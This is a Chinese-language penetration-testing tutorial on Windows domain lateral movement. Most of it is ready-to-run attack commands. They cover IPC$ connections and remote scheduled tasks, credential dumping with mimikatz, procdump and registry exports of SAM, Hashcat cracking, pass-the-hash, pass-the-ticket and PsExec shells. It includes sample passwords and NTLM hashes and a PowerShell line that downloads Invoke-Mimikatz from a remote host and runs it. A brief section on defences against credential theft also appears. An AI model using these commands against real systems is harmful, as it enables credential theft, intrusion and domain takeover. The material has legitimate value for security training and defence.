通过利用域内横向移动技术,攻击者可以利用被攻陷的系统作为跳板,访问其他域内主机,从而扩大攻击范围。这种攻击手法可以获取跳板机器中存储的文档和凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产。最终,攻击者可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的基础设置和与业务相关的关键账户。
0x01 常用的Windows远程连接和相关命令
在获取目标计算机的用户明文密码或NTLM Hash后,可以使用PTH(Pass the Hash,凭据传递)方法将散列值或明文密码传递到目标机器中进行验证。通过与目标机器建立连接,可以使用相关方法在远程Windows操作系统中执行命令。在多层代理环境中进行渗透时,由于网络条件差,无法使用图形化界面连接远程主机。这时可以使用命令行的方式连接远程主机,最好使用Windows自带的方法对远程目标系统进行命令行下的连接操作,并执行相关命令。
IPC
IPC(Inter Process Connection)共享命名管道的资源,用于实现进程间通信。在远程管理计算机和查看计算机的共享资源时,通常使用IPC。通过ipc$可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器只能够的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。建立一个ipc$并查看当前连接的命令如下:
net use \192.168.1.1\ipc$ “Admin!@#$4321” /user:administrator
net use
1、ipc$的利用条件
2、ipc$连接失败的原因
3、常见错误
使用Windows自带的工具获取远程主机信息
1、dir命令
建立连接后,使用dir命令列出远程主机中的文件
dir \192.168.1.1\c$
2、tasklist命令
在使用net use命令与目标主机建立ipc$后,使用tasklist命令的/S、/U、/P参数列出远程主机上运行的进程
tasklist /S 192.168.1.1 /U administrator /P Admin!@#$4321
计划任务
1、at命令
at是Windows自带的用于创建计划任务的命令,它主要适用于Windows Server 2008之前版本的操作系统。在使用at命令在远程机器上创建计划任务之前,需要使用net use命令建立ipc$。
(1)查看目标系统时间
net time命令可查看远程主机的系统时间
net time \192.168.1.1
(2)将文件复制到目标系统中
先在本地创建一个calc.bat文件,其内容为calc,然后使用Windows自带的copy命令将该文件复制到远程主机的C盘中
copy calc.bat \192.168.1.1\C$
(3)使用at创建计划任务
使用at命令让目标系统在指定时间运行一个程序,192.168.1.3是一台Windows 7
at \192.168.1.3 15:22:40 C:\calc.bat
(4)清除at记录
计划任务不会随着其本身的执行而被删除,因此在执行后记得清除自己创建的计划任务
at \192.168.1.3 /delete
使用at远程执行命令后,先将执行结果写入本地文本文件,再使用type命令远程读取该文本文件
at \192.168.1.3 15:33:37 cmd.exe /C “ipconfig” > C:/”1.txt”
type \192.168.1.3\C$1.txt
2、schtasks命令
Windows Vista、Windows Server 2008及之后版本的操作系统已将at命令废弃,可以使用schtasks命令代替at命令。schtasks命令比at命令更为灵活、自由。
在远程主机创建一个名为test的计划任务。该计划任务在开机时启动,启动程序为C盘下的calc.bat,启动权限是system。随后运行该计划任务。
schtasks /create /s 192.168.1.3 /tn test /sc onstart /tr c:\cala.bat /ru system /f
schtasks /run /s 192.168.1.3 /i /tn “test”
这里使用schtasks命令不需要密码是因为之前已经建立了ipc$。在没有建立ipc$的情况下,需要添加/u和/p的参数。schtasks命令的参数如下:
计划任务运行后,删除该计划任务的命令如下:
schtasks /delete /s 192.168.1.3 /tn “test” /f
最后,删除ipc$需要确认删除的是自己创建的。
net use 名称 /del /y
net use \192.168.1.1 /del /y
在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SCHEDLGU.txt。如果执行schtasks命令后没有回显,可配合ipc$执行文件,使用type命令远程查看执行结果。
0x02 Windows系统散列值获取
LM Hash和NTLM Hash
Windows操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在ntds.dit文件中,加密后为散列值。Windows操作系统密码一般由两部分组成,一部分是LM Hash,另一部分是NTLM Hash。在Windows中,Hash的结构通常如下:
username:RID:LM-HASH:NT-HASH
LM Hash全名为LAN Manager Hash,是微软为了提高Windows操作系统的安全性而采用的散列加密算法,其本质是DES加密。LM Hash较容易破解,但从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁用LM Hash。LM Hash明文密码限定在14位以内,如果要停止使用LM Hash,只需将用户密码设置为14位以上即可。如果LM Hash被禁用,通过工具抓取的LM Hash通常为”add3b435b51404eeaad3b435b51404ee”,表示LM Hash为空值或被禁用。
NTLM Hash是微软为了提高安全性的同时兼容而设计的散列加密算法。NTLM Hash是基于MD4加密算法进行加密的。从Windows Vista和Windows Server 2003以后,Windows操作系统的认证方式均为NTLM Hash。
单机密码抓取
要在Windows操作系统中抓取散列值或明文密码,必须将权限提升至system。本地用户名、散列值和其他安全验证信息都存在SAM文件中。可以使用工具将散列值和明文密码从内存中的lsass.exe进程或SAM文件中导出。在Windows操作系统中,SAM文件保存在C:\Windows\System32\config目录下。SAM文件是被锁定的,不允许复制。在渗透中,可以在关闭操作系统后,使用PE盘进入文件管理环境,直接复制SAM文件,也可以使用VSS等方法进行复制。
1、GetPass
打开GetPass工具,根据当前系统的版本运行对应的程序,即可获得密码散列值。
2、PwDump7
在命令行中运行PwDump7程序,可得到所有账户的NTLM Hash,可用彩虹表或在线破解。破解不出时,可使用哈希传递的方法进行横向渗透。
3、QuarkPwDump
以管理员权限运行QuarkPwDump,导出用户的NTLM Hash。
QuarksPwDump.exe –dump-hash-local
QuarksPwDump.exe -dhl -o 1.txt
4、通过SAM和SYSTEM文件抓取密码
(1)导出SAM和SYSTEM文件到本地磁盘,无工具导出如下:
reg save HKLM\SYSTEM system.hive
reg save HKLM\SAM sam.hive
reg save HKLM\SECURITY security.hive
(2)通过读取SAM文件和SYSTEM文件获得NTLM Hash
使用mimikatz将sam.hive和system.hive文件加载到mimikatz中。先运行第一条命令,如果看到Switch to MINIDUMP字样,表示加载成功,再运行第二条命令,导出密码散列值。
sekurlsa::minidump sam.hive
sekurlsa::logonPasswords full
(3)使用mimikatz直接读取本地的SAM文件,导出hash值
在目标机器上运行mimikatz,输入如下命令,将权限提升到system,然后读取本地的SAM文件,获得NTLM Hash。
privilege::debug
token::elevate
lsadump::sam
5、使用mimikatz在线读取SAM文件
在线读取散列值及明文密码,如下命令。
mimikatz.exe “privilege::debug” “log” “sekurlsa::logonpasswords”
6、使用mimikatz离线读取lsass.dmp文件
(1)导出lsass.dmp文件。在Windows NT6中找到lsass.exe进程,右键单击,在弹出的快捷菜单中选择Create Dump File选项。此时会在本地生成lsass(2).exe.DMP文件。
(2)使用Procdump导出lsass.dmp。procdump是微软官方发布的工具,可在命令行下将目标lsass文件导出,且杀毒软件不会拦截这些操作。下载地址:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
(3)使用mimikatz导出lsass.dmp文件中的密码散列值
在命令行中启动mimikatz,将lsass.dmp加载到mimikatz中。先运行第一条命令,如果看到Switch to MINIDUMP字样,表示加载成功,再运行第二条命令,导出密码散列值。
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
7、使用powershell对散列值进行Dump操作
使用Nishang的Get-PassHashes.ps1脚本可导出散列值。以管理员权限打开powershell,在Nishang目录中导入Get-PassHashes.ps1脚本,然后执行Get-PassHashes命令,导出散列值。测试时在域环境中的Windows Server 2008 R2和单机环境的Windows 10都不成功,原因暂时不明。
Import-Module .\Get-PassHashes.ps1
Get-PassHashes
8、使用powershell远程加载mimikatz抓取散列值和明文密码
在命令行中远程获取密码,使用如下命令。
powershell IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.1.3:8000/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1’); Invoke-Mimikatz
使用Hashcat获取密码
1、安装Hashcat
下载地址:
git clone https://github.com/hashcat/hashcat.git
make //编译
make install //安装
./hashcat -h //查看帮助信息
还可以直接下载Hashcat的源码,在相应的Linux操作系统中直接运行hashcat32.bin或hashcat64.bin。同时,Hashcat还有可执行程序的版本,可在Windows中直接运行32位或64位的Hashcat,命令如下:
./hashcat64.bin -h
2、Hashcat的使用方法
使用-b参数,测试使用当前机器进行破解的基准速度。由于在虚拟机中进行测试,因此使用–force参数强制执行。
hashcat -b –force
(1)指定散列值类型
使用-m参数指定散列值类型,常见散列值类型可参考Hashcat帮助或其官网。
(2)指定破解模式
可用-a参数指定Hashcat的破解模式,模式如下:
0 = Straight //字典破解
1 = Combination //组合破解
2 = Toggle-Case
3 = Brute-force //掩码暴力破解
4 = Permutation //组合破解
5 = Table-Lookup
(3)常用命令
通常使用字典模式进行破解,输入如下命令,Hashcat将开始破解。
hashcat -a 0 -m xx
将1到8指定为数字进行破解。
hashcat -a 3 –increment –increment-min 1 –increment-max 8 ?d?d?d?d?d?d?d?d -O
破解Windows散列值的命令如下:
hashcat -m 1000 -a 0 -o winpassok.txt win.hash password.lst –username
破解WIFI握手包的命令如下,这里需要使用aircrack-ng将cap格式转换成hccap格式,才可使用Hashcat破解。
aircrack-ng -J
hashcat -m 2500 out.hccap dics.txt
(4)常用选项
命令hashcat -h可查看所有选项,常用的如下:
为了更加方便快捷,可直接使用在线的破解网站。
防范抓取明文密码和散列值
1、设置Active Directory 2012 R2功能级别
Windows Server 2012 R2新增了一个名为受保护的用户的用户组。将需要保护的用户放入该组,则无法使用mimikatz等工具抓取明文密码和散列值。
3、通过修改注册表禁止在内存中存储明文密码
WDigest协议能够使Windows将明文密码存储在内存中,以方便用户登录本地计算机。可以通过修改注册表的方式解决内存中以明文存储密码的问题。
4、防御mimikatz
mimikatz在抓取散列值或明文密码时需要使用Debug权限。为了防止mimikatz的使用,可以将拥有Debug权限的本地管理员从Administrator组中删除,并重启系统。
0x03 哈希传递攻击
哈希传递(Pass The Hash)攻击是一种利用散列值进行身份验证的方法。通过找到与账户相关的密码散列值(通常是NTLM Hash),攻击者可以模拟用户进行认证,从而获取对其他计算机的访问权限。在Windows操作系统中,默认情况下,散列值是用于证明身份的,攻击者可以使用散列值进行身份验证,而无需知道密码的明文。
1、使用NTLM Hash进行哈希传递
在目标机器上以管理员权限运行mimikatz,输入如下命令,将权限提升到system,然后使用哈希传递方法登录其他计算机。
mimikatz.exe “privilege::debug”
sekurlsa::pth /user:administrator /domain:hacke.testlab /ntlm:09bc0266e773764dc3606744ddbe133d
2、使用AES-256秘钥进行哈希传递
在目标机器上以管理员权限运行mimikatz,输入如下命令,将权限提升到system,然后使用AES-256秘钥进行哈希传递。
mimikatz.exe “privilege::debug” “sekurlsa::ekeys”
在目标机器中以管理员权限运行mimikatz,输入如下命令,将权限提升到system,然后使用AES-256秘钥进行哈希传递。
mimikatz.exe “privilege::debug”
sekurlsa::pth /user:administrator /domain:hacke.testlab /aes256:1670230ac09d8fdff51c080b2c98f44f5c56270f5692ab8f60df6daeaee20903
在目标机器再次运行,即可列出远程主机的C盘内容。测试的过程中,在Windows 7和Windows Server 2008 R2上未安装补丁。
需要注意的是:
KB2871997补丁影响
0x04 票据传递
要使用mimikatz的哈希传递功能,需要具备本地管理员权限。mimikatz提供了不需要本地管理员权限进行横向渗透的方法,如票据传递(Pass The Ticket, PTT)。
使用mimikatz进行票据传递
使用mimikatz可以将内存中的票据导出。导出命令如下:
mimikatz.exe “privilege::debug” “sekurlsa::tickets /export”
执行票据导出命令后,会在当前目录下出现多个服务的票据文件,如krbtgt、cifs、ldap等。使用mimikatz清除内存中的票据,随后将票据文件注入内存,即可连接远程计算机系统并列出文件目录。命令如下:
kerberos::purge
mimikatz.exe “kerberos::ptt “C:\ticket[0;59f88]-2-0-60a10000-Administrator@krbtgt-HACKE.TESTLAB.kirbi”
dir \dcc$
使用kekeo进行票据传递
票据传递也可以使用kekeo工具来实现。下载地址:
在目标机器中输入命令,运行kekeo,在当前目录下生成一个票据文件,票据文件为TGTadministrator@HACKE.TESTLABkrbtgt~hacke.testlab@HACKE.TESTLAB.kirbi。
kekeo “tgt::ask /user:administrator /domain:hacke.testlab /ntlm:09bc0266e773764dc3606744ddbe133d”
在kekeo中清除当前内存中的其他票据(否则可能导致票据传递失败),在Windows命令运行环境中执行系统自带的命令,也可以清除内存中的票据。
kerberos::purge
使用kekeo将票据文件导入内存后,使用dir命令列出远程主机中的文件。
kerberos::ptt TGTadministrator@HACKE.TESTLABkrbtgt~hacke.testlab@HACKE.TESTLAB.kirbi
需要注意的是:
PsExec的使用
PsExec可以在Windows Vista/Nt 4.0/2000/XP/Server 2003/Server 2008/Server 2012/Server 2016等操作系统上运行。PsExec包含在PsTools工具包中,下载地址:。通过PsExec,可以在远程计算机上执行命令,将管理员权限提升到system权限以运行执行的程序。
PsExec原理:
通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为PSEXESVC的二进制文件。之后,通过psexec服务运行命令,运行结束后删除服务。
获取目标操作系统的交互式shell,在建立ipc$的情况下,执行如下命令,可以获取system权限的shell。
net use \192.168.1.3\ipc$ “Admin!@#$4321” /user:administrator
PsExec.exe -accepteula \192.168.1.3 -s cmd.exe
PsExec.exe -accepteula \192.168.1.3 cmd.exe
whoami
在没有建立ipc$的情况下,PsExec有两个参数可以通过指定账号和密码进行远程连接。注意,用户名前面要加域,否则会提示登录失败:”未知的用户名或错误密码”。
PsExec.exe \192.168.1.2 -u administrator -p Admin!@#$4321 cmd.exe
PsExec.exe \192.168.1.2 -u HACKE\administrator -p Admin!@#$4321 cmd.exe
使用PsExec时,需要注意:
Metasploit中的psexec模块
使用命令进行搜索,然后输入对应的使用命令。测试时未成功,原因暂时不明。
search psexec
set rhost 192.168.1.2
set smbuser administrtaor
set smbpass Admin!@#$4321
run
psexecpth模块和psexec模块的使用方法相同,psexecpth模块上传的是powershell版本的payload。